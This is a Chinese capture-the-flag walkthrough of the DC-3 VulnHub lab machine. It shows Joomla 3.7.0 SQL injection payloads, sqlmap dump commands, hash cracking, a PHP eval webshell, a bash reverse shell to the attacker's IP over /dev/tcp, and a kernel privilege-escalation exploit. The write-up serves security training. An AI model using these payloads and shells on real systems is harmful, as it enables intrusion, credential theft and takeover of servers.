首页 > 其他分享 >DC-3

DC-3

时间:2024-08-18 18:26:32浏览次数:9  
标签:-- fields DC 192.168 98.141 提权 php

靶机介绍

  名称:DC: 3.2

  发布日期:25 Apr 2020

  难度:初级

  下载地址:https://download.vulnhub.com/dc/DC-3-2.zip

环境搭建

  下载之后,解压,使用vmware导入或者virtualbox导入都可以,但注意要保证与你的攻击机在同一网段下,vmware要使用最新版

  ‍

  kali攻击机:192.168.98.136

  如果你导入靶机之后,打开时报错如下:

image

  按照图片调整即可:

image

  成功启动:

image

靶机渗透

信息收集

扫描主机

arp-scan -l

image

  目前就开了一个靶机,所以该靶机的ip为192.168.98.141

  ‍

扫描端口

masscan --rate=100000 -p 0-65535 192.168.98.141

image

  扫描到一个80端口开放的!

  用nmap扫描一下:

nmap -A 192.168.98.141

image

  Joomla 的CMS系统

指纹识别

whatweb http://192.168.98.141

image

  访问80端口:

image

  验证确实是Joomla系统,但是也不知道是什么版本的

joomscan扫描仪

  先下载安装一下这个joomscan扫描仪,这个工具是专门用于joomla漏洞扫描的工具

sudo apt update
sudo apt install joomscan

  用法:

joomscan --url http://192.168.98.141/

image

  版本是3.7.0

目录扫描

dirb http://192.168.98.141 /usr/share/dirb/wordlists/big.txt

image

image

  有一个administrator目录,记录下来,这是后台登录地址

漏洞挖掘

  访问80端口如下:

image

本关介绍

This time, there is only one flag, one entry point and no clues.
To get the flag, you'll obviously have to gain root privileges.
How you get to be root is up to you - and, obviously, the system.
Good luck - and I hope you enjoy this little challenge.

  意思是这次只有一个flag,并且没有任何提示线索,还有必须要获得root权限,怎么获得root权限,取决于你和这个系统!

搜素joomla漏洞

searchsploit joomla 3.7.0 

image

  打开查看漏洞详情

cat /usr/share/exploitdb/exploits/php/webapps/42033.txt 

image

  sql注入漏洞

sql注入

  经过网上公开情报表示:3.7.0版本存在 CVE-2017-8917 SQL注入漏洞,我拿poc试了一下,成功了,确实存在该漏洞

  验证一下是否存在sql注入:

  获取数据库名:joomladb

http://192.168.98.141/index.php
?option=com_fields
&view=fields
&layout=modal
&list[fullordering]=updatexml(1,concat(0x7e,database(),0x7e),1)

image

  程序屏蔽了单引号,所以我们不能使用常规的字符串条件如 TABLE_NAME='users' 进行判断:

image

  所以我们使用LIKE操作符代替,LIKE操作符支持16进制参数,可以将目标表名字符串转换为16进制数值,放在LIKE语句后充当条件

image

http://192.168.98.141/index.php
?option=com_fields
&view=fields
&layout=modal
&list[fullordering]=updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema like 0x6a6f6f6d6c616462),1,30),0x7e),1)

image

  由于xpath只会报错32个字符,所以可以使用substr()​函数进行字符串截取,控制后面的参数来查询

#__bsms_admin

  查了半天,没查到有用的信息,直接使用sqlmap跑了,尝试通过sqlmap写入shell失败,只能查数据了:

sqlmap -u "http://192.168.98.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

image

  查表:

sqlmap -u "http://192.168.98.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D joomladb --tables --batch

image

  爆破一下 #_users 的字段:

sqlmap -u "http://192.168.98.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)" -D "joomladb" -T "#__users" --columns

image

  爆数据:

sqlmap -u "http://192.168.98.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)" -D "joomladb" -T "#__users" -C name,username,password --dump

image

  密码为:

$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

john爆破

  尝试使用john爆破一下,将密码保存在dc3.txt:

john dc3.txt

image

  本来打算试试的心态,没想到真给它爆破了: snoopy

  靶机仅仅只开放了80端口,所以无法通过ssh来尝试连接了。。。

  ‍

登录写shell页面

  使用这个账号密码 成功登录后台:

image

  编写新页面

image

  new file编写,写入shell代码,保存即可

  shell代码内容:

<?php
@eval($_POST['pass']);
?>

  ​image​蚁剑连接:http://192.168.98.141/templates/beez3/shell.php

image

  成功连接:

image

  没有权限,不能读取root目录,要想办法提权

image

image

  ‍

  ‍

linux内核提权

  尝试suid提权,但是没有发现可提权的点,故放弃

image

  尝试命令提权未果

  尝试linux内核提权

uname -a
cat /etc/issue

image

searchsploit Ubuntu 16.04

  根据版本,来尝试使用这个脚本(听说其他脚本都用不了,我也没尝试过,就不测试了)

image

  用linux-exploit-suggeste​脚本也能扫描出存在这个漏洞:

image

cat /usr/share/exploitdb/exploits/linux/local/39772.txt

image

  下载一下exp:

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

  ‍

  解压上传到靶机目录,解压(直接上传到最开始的目录上,也就是连接shell的目录里,因为这个目录上有执行权限,妈的,连/tmp目录都没有执行权限)

unzip 39772.zip
tar -xf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh

  ‍

  先反弹一下交互形的shell,至于为什么要这样做(因为蚁剑那个命令执行很不稳定,提权容易失败!)
创建一个phpshell.php文件,写入

<?php
system("bash -c 'bash -i >& /dev/tcp/192.168.98.136/4444 0>&1' ");
?>

  kali端

netcat -l -p 4444

  蚁剑执行

php phpshell.php

  kali收到会话:

image

  执行exp,提权成功:

image

  ‍

拿下flag

  寻找flag在root目录下:

image

总结

  1. 在kali上基于服务器组件及其版本号可以全局搜索利用脚本searchsploit xxx
  2. 使用 john 爆破密码
  3. 学习在网站上写入生成php shell脚本,并且可以使用webshell工具成功连接该脚本
  4. 通过searchsploit全局搜索提权脚本进行linux内核提权

  ‍

标签:--,fields,DC,192.168,98.141,提权,php
From: https://www.cnblogs.com/itchen-2002/p/18365906/dc3-a4g4r

相关文章

  • DC-4
    靶机介绍靶场下载地址:https://download.vulnhub.com/dc/DC-4.zip环境搭建下载之后,解压,使用vmware导入或者virtualbox导入都可以,但注意要保证与你的攻击机在同一网段下,vmware要使用最新版kali攻击机:192.168.98.136靶机渗透信息收集扫描主机​​可知靶机......
  • ThreadCore学习
    1.线程中的异常处理一般线程里面不允许出现异常,需要自己处理好,最好在线程里加个trycatch,#region异常处理//线程里面的异常是被吞掉了,因为已经脱离了try的范围了,WaitAll抓到多线程里面全部的异常//线程里面不允许出现......
  • 身份证信息认证服务—— Identity IdCard OCR API
    IdentityIdCardOCRAPI对接说明本文将介绍一种通过输入身份证图片或姓名和身份证号码,来校验姓名和身份证号的真实性和一致性。本接口用于校验姓名和身份证号的真实性和一致性,您可以通过输入姓名和身份证号或传入身份证人像面照片提供所需验证信息。我们的上游是接入了......
  • 使用 preloadComponents 进行组件预加载
    title:使用preloadComponents进行组件预加载date:2024/8/18updated:2024/8/18author:cmdragonexcerpt:摘要:本文介绍Nuxt3中的preloadComponents功能,用于预加载全局注册的组件以减少首次渲染阻塞时间,通过实例演示如何设置并使用该工具来提升页面性能。categories:......
  • lit tailwindcss vite模板
    pnpmcreatevite@latestmy-project----templatelitcdmy-projectpnpminstall-Dtailwindcsspostcssautoprefixersass-embeddednpxtailwindcssinit-ptailwindcss.config.js:/**@type{import('tailwindcss').Config}*/exportdefault{core......
  • 震惊,ADC时钟频率不是84Mhz?
    前言单片机只能去处理数字量(0/1),但不能去处理一些多值数据(模拟电压值),如果需要处理模拟量,需要借助模数转换器(ADC)进行转换,把模拟量转换为MCU可以处理的离散数字量。一、ADC时钟说明由时钟树我们可知,ADC挂载在APB2上,那么它的频率本应该是84Mhz,但事实果真如此吗?其实不是的......
  • 关于ADC的一些总结
    前言        由于在STM32单片机中,主要是数字电路,而数字电路没有多少伏电压的概念,只有高电平和低电平两个概念,如果想要读取电压值,则需要经过ADC模数转换来读取对应引脚的模拟电压,然后存放到对应的寄存器种,通过变量来读取从而进行显示、判断等操作。1.ADC(Analog-Digita......
  • containerd + nerdctl安装
    下载所需依赖#containerd包wgethttps://github.com/containerd/containerd/releases/download/v1.6.8/containerd-1.6.8-linux-amd64.tar.gztarCxzvf/usr/localcontainerd-1.6.8-linux-amd64.tar.gz#runcwgethttps://github.com/opencontainers/runc/releases/downl......
  • 智匠MindCraft AI 1.2.6版本更新啦!!
    智匠MindCraftAI​​​​​​​迎来1.2.6版本更新,本次更新四大内容:1、网页代码及python代码渲染优化。更稳定的代码渲染功能,您可以在智匠AI中,实现炫酷的网页效果,或者用python制作图表和游戏。2、语音实验室增加语音识别功能,可识别多国语言和方言。用户可以在语音实验室中,选......
  • 突破传统看车局限,3DCAT实时云渲染为东风日产奇骏赋能
    在当今数字化飞速发展的时代,汽车行业的营销也面临着诸多变革与挑战。线下展示由于受到场地空间的限制,往往无法全面展示所有车型,且建设成本高昂。而一些销售门店可能因位置偏僻等因素,导致客户上门看车、试驾的邀约变得困难重重。图源网络传统的线上看车方式也存在着明显的不足......